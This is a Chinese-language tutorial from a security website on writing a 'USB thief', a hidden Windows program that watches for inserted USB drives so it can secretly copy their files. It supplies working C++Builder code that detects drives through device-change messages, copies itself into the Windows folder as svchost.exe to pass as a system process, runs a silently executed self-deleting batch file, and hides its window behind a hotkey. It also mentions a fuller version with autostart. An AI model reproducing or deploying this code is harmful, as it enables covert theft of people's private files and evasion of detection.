百度一下 藏锋者 就能快速找到本站! 每日资讯归档 下载藏锋者到桌面一键访问

当前位置:主页 > 网络安全 > 活用消息机制编写U盘小偷

活用消息机制编写U盘小偷

所在栏目:网络安全 时间:04-12 19:48 分享:

以前经常看到有网络安全爱好者进行编程,做出一些蛮有意思的小工具,其中最多的似乎就是所谓的U盘小偷了——偷偷地把你U盘里的东西copy出来的东西。

这一类的工具已经N多了,有脚本或批处理的、有VC的、有BCB的、有Delphi或VB的,五花八门。虽然每个实现的技术含量大不相同,但大多数都是采用最常规的做法实现的。注入进程的我见过不少,但很少看到有使用消息机制实现。今天我就综合采用多种方法来打造一个尽量完善的U盘小偷。本文没有采用任何比较难的技术,而是重点演示怎样综合利用各种思路来弥补技术上的不足。

首先我们要搞清楚我们的小偷具体要做什么,也就是所谓的系统分析,呵呵。通常这些小偷程序都是工作在我们的电脑或者最起码是我们能接触到的电脑(不然偷了东西也没办法给运回来啊),所以,此时的进程隐藏就不是非常重要了,只要在任务管理器中不能被发现即可;再者就是程序要隐藏在后台运行(废话);还有就是绝对不能占用太多资源,这个非常重要;最后就是智能判断应该偷哪些文件。

 接下来我们就来看看最核心的功能吧,利用消息机制来实现实时监控U盘事件。我就不从头讲解什么是消息机制了,以前的杂志已经做过详细介绍了。现在假设你已经知道了什么是消息、怎样处理消息这些内容。

 所谓U盘事件,就是在USB设备插入或者移除等操作发生的时候,系统会将WM_DEVICECHANGE消息分发到系统中的所有顶层窗口。WM_DEVICECHANGE消息的wParam有两个我们需要注意的值:
DBT_DEVICEARRIVAL       // 0x8000 插入事件
DBT_DEVICEREMOVECOMPLETE //0x8004 移除事件

我们先写一段代码来测试一下。用BCB新建一个Application工程,在头文件Unit1.h的最后加入重载窗口函数的声明,代码如下。

public:  // User declarations
__fastcall TForm1(TComponent* Owner);
void __fastcall WndProc(TMessage &Message); //我们要重载这个函数

然后在实现文件Unit1.cpp中实现。

void __fastcall TForm1::WndProc(TMessage &Message)
{
if(!bStarted)   //如果没点“开始监控”按钮则暂不监控
{
}
//如果是移动设备消息则进入处理
if(Message.Msg == WM_DEVICECHANGE)//帮助里面有这个消息的详细说明
{
switch(Message.WParam)
{
case DBT_DEVICEARRIVAL: 
Memo1->Lines->Add(" 发现USB设备插入!");
break;
case DBT_DEVICEREMOVECOMPLETE:
Memo1->Lines->Add(" USB设备被拔出!");
break;
default:
break;
}
}
TForm::WndProc(Message); //最后别忘了把其他消息交给默认窗口函数处理
}

注意以上代码需要包含头文件:#include <Dbt.h>。

下面我们看一下效果,如图1所示,我插入和拔出一个U盘的时候都被发现了。 


图1

根据网上流传的说法,当网络驱动器设备连接和移除的时候也会触发这个消息,因此,我们还可以做如下的预处理。

PDEV_BROADCAST_VOLUME dbvDev=(PDEV_BROADCAST_VOLUME)Message.LParam;
if (dbvDev->dbcv_flags & DBTF_MEDIA)
{//加入处理代码}

在WM_DEVICECHANGE消息的lParam参数中保存了设备的相关信息,我们要对设备的类型进行判断,只需要获得DEV_BROADCAST_VOLUME结构中的dbcv_flags的值即可。当它的值为DBTF_NET时,那么当前的这个逻辑卷便是网络卷,所以我们就在上面的代码中判断dbcv_flags的值是否为DBTF_MEDIA,以此判断是否为网络驱动器。或者也可以这样判断:dbcv_flags如果等于1,则表示是光盘驱动器;如果是2,则是网络驱动器;如果是硬盘、U盘则都等于0(这些结构的说明在BCB的帮助中我没找到,但VC的MSDN中有非常详细的说明),这样会使得我们程序的容错性大大提高。

需要注意的是,当插入一个设备时,所有与这个设备相关的设备都会产生这个事件,而不是产生单一的插入事件,这个问题我们可以用 GUID来解决。注册设备GUID的代码如下。

DEV_BROADCAST_DEVICEINTERFACE   DevInt; 
memset(&DevInt,0,sizeof(DEV_BROADCAST_DEVICEINTERFACE));
DevInt.dbcc_size = sizeof(DEV_BROADCAST_DEVICEINTERFACE);
DevInt.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE;
DevInt.dbcc_classguid = DevGuid;
//设备的GUID,不同的设备有不同的GUID,根据实际情况设定
hDevNotify=RegisterDeviceNotification(Handle,&DevInt,DEVICE_NOTIFY_WINDOW_HANDLE);

Windows XP以上版本允许用DEVICE_NOTIFY_ALL_INTERFACE_CLASSES注册关注所有设备的插入和拔出事件,这个参数是RegisterDeviceNotification函数的第三个参数,具体如下。

RegisterDeviceNotification(Handle,&DevInt,DEVICE_NOTIFY_WINDOW_HANDLE|
DEVICE_NOTIFY_ALL_INTERFACE_CLASSES);

但这样就无法在Windows 2000及其以下系统上运行了,所以建议大家还是直接获取你所关注的那个设备的GUID为好,这样有利于程序的通用性。

关于如何获取设备的GUID,最简单的办法是查注册表:“HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\USB\\Vid_厂家标识&Pid_产品标识\\驱动程序”里面的ClassGUID,它就是驱动程序的GUID标识。

不过本文并不打算使用GUID,而是当捕获到USB设备插入的消息后就启动扫描代码来遍历寻找U盘(可以使用GUID过滤掉自己的U盘)。下面,我们在上面代码的基础上进行即可,将以下代码:
case DBT_DEVICEARRIVAL: 
Memo1->Lines->Add(" 发现USB设备插入!");
break;

修改为::

case DBT_DEVICEARRIVAL:
{
PDEV_BROADCAST_VOLUME dbvDev = (DEV_BROADCAST_VOLUME *)Message.LParam;
if(dbvDev->dbcv_flags == 0)
{
Memo1->Lines->Add(" 发现USB设备插入!");
Memo1->Lines->Add(" 当前U盘盘符为"+AnsiString(ScanFlashDisk()));
}
break;
}

其中ScanFlashDisk()函数的定义如下。

char __fastcall TForm1::ScanFlashDisk()
{
char USB = NULL;
char szDriveName[4] = {0};
 wsprintf(szDriveName,"C:\0");
 for(szDriveName[0] = 'C';szDriveName[0] < 'Z';szDriveName[0]++)
 {
 if(GetDriveType(szDriveName) == DRIVE_REMOVABLE)
 {
 USB=szDriveName[0];
return USB;
}
}
return USB;
}

此时的运行效果如图2所示。现在我们离目标已经很近了,之后就是进程的隐藏技巧了。我本来想采用进程注入方法的,但如果这样的话,整个程序就都需要重写了,但在自己的电脑上隐藏个进程还需要这么麻烦吗?

 
图2

通常每次开机的时候,系统都会有好几个svchost.exe进程,所以我们只要在启动的时候检查小偷的名字是不是svchost.exe即可,如果不是就退出,生成一个批处理将自己改名。系统的svchost.exe是在system32目录下的,我们就把小偷隐藏到Windows目录下吧,反正这里的文件也多,并且我们的小偷平时并不占很多资源,还是比较容易隐藏的。下面是测试代码。

//检查自己的路径
char DirBuffer[MAX_PATH],SysBuffer[MAX_PATH];
DWORD DirSize = sizeof(DirBuffer);
GetWindowsDirectory(SysBuffer,DirSize); //得到Windows目录位置
strcat(SysBuffer,"\\svchost.exe");   //构造完整文件名
HMODULE hModule = GetModuleHandle(NULL); 
GetModuleFileName(hModule,DirBuffer,DirSize); //得到程序自身完整文件名
if(strcmp(DirBuffer,SysBuffer) != 0) //比较两个完整文件名是否相同
{//如果不在Windows目录
CopyFile(DirBuffer,SysBuffer,false); //将自身覆盖拷贝到Windows目录
FILE *fp;
fp = fopen("system.bat","w+");
fprintf(fp,"@echo off\r\n");   //生成自删除的批处理文件
fprintf(fp,":start\r\n\tif not exist %s goto done\r\n",ExtractFileName(DirBuffer));
fprintf(fp,"\tdel /f /q  %s\r\n",ExtractFileName(DirBuffer));
fprintf(fp,"goto start\r\n");
fprintf(fp,":done\r\n");
fprintf(fp,"\tdel /f /q %0\r\n");
fclose(fp);
//隐藏窗口运行此批处理
ShellExecute(NULL,"open","system.bat",NULL,NULL,SW_HIDE);
//别忘了把新路径下的小偷给启动哦
ShellExecute(NULL,"open",SysBuffer,NULL,NULL,SW_HIDE);
exit(0); //退出程序
}

这段代码经过测试完全可以达到目的,任务管理器中根本看不出来是哪个svchost,只有利用其它专门工具了,我是用冰刃才找到了是哪个进程的。

哈哈,两个重要问题都解决了,现在我们就一鼓作气把剩下的两个问题搞定吧,隐藏窗口在BCB中尤其简单,代码为“Form1->Hide();”。或许大家会问了,隐藏起来自己也看不到了咋办?好说好说,设置一个全局热键不就得了,实现方法不难,具体代码如下。

ATOM iHot = GlobalAddAtom("HotKey"); //注册一个全局原子,这个是必须的
RegisterHotKey(this->Handle,iHot,MOD_ALT,VK_F8); //定义热键 Alt + F8

在程序的OnDestroy事件中还要将其释放掉。

 UnregisterHotKey(this->Handle,WM_HOTKEY);

捕获到热键时该怎么处理呢?答案是使用消息映射。

//定义事件函数
void __fastcall OnHotKey(TMessage &msg);
BEGIN_MESSAGE_MAP
MESSAGE_HANDLER(WM_HOTKEY,TMessage,OnHotKey);
END_MESSAGE_MAP(TForm);

最后在主文件中加入我们的实现代码即可。

void __fastcall Form1::OnHotKey(TMessage &msg)
{
MainForm->Show();
}

这样一来,当程序在后台工作的时候,我们就可以用Alt+F8直接呼出窗口进行管理了。智能判断文件说起来很悬乎,其实就是判断扩展名,因为像mp3、wma、rmv这些影音文件通常比较大,而且一般也不是我们想关心的内容,所以这里我们也不用写上大段代码来遍历文件,然后判断扩展名,这样太麻烦了,还是用批处理吧。

补充说明:我已经利用业余时间重写了这个U盘小偷,做得有一定的实用性了,本文所讲到的大多数技巧都继续使用了,并且又增加了许多新的技巧,比如使用了多线程、改用API遍历文件并判断属性确定是否值得拷贝、支持注册表启动和服务启动、U盘防火墙等很多实用的功能,具体可以参见http://www.huihu32.cn/post/ustealer.html。截止目前的版本完整工程代码以及可执行程序都已经提供。

活用消息机制编写U盘小偷 免费邮件订阅: 邮件订阅

图片推荐

热点排行榜

CopyRight? 2013 www.cangfengzhe.com All rights reserved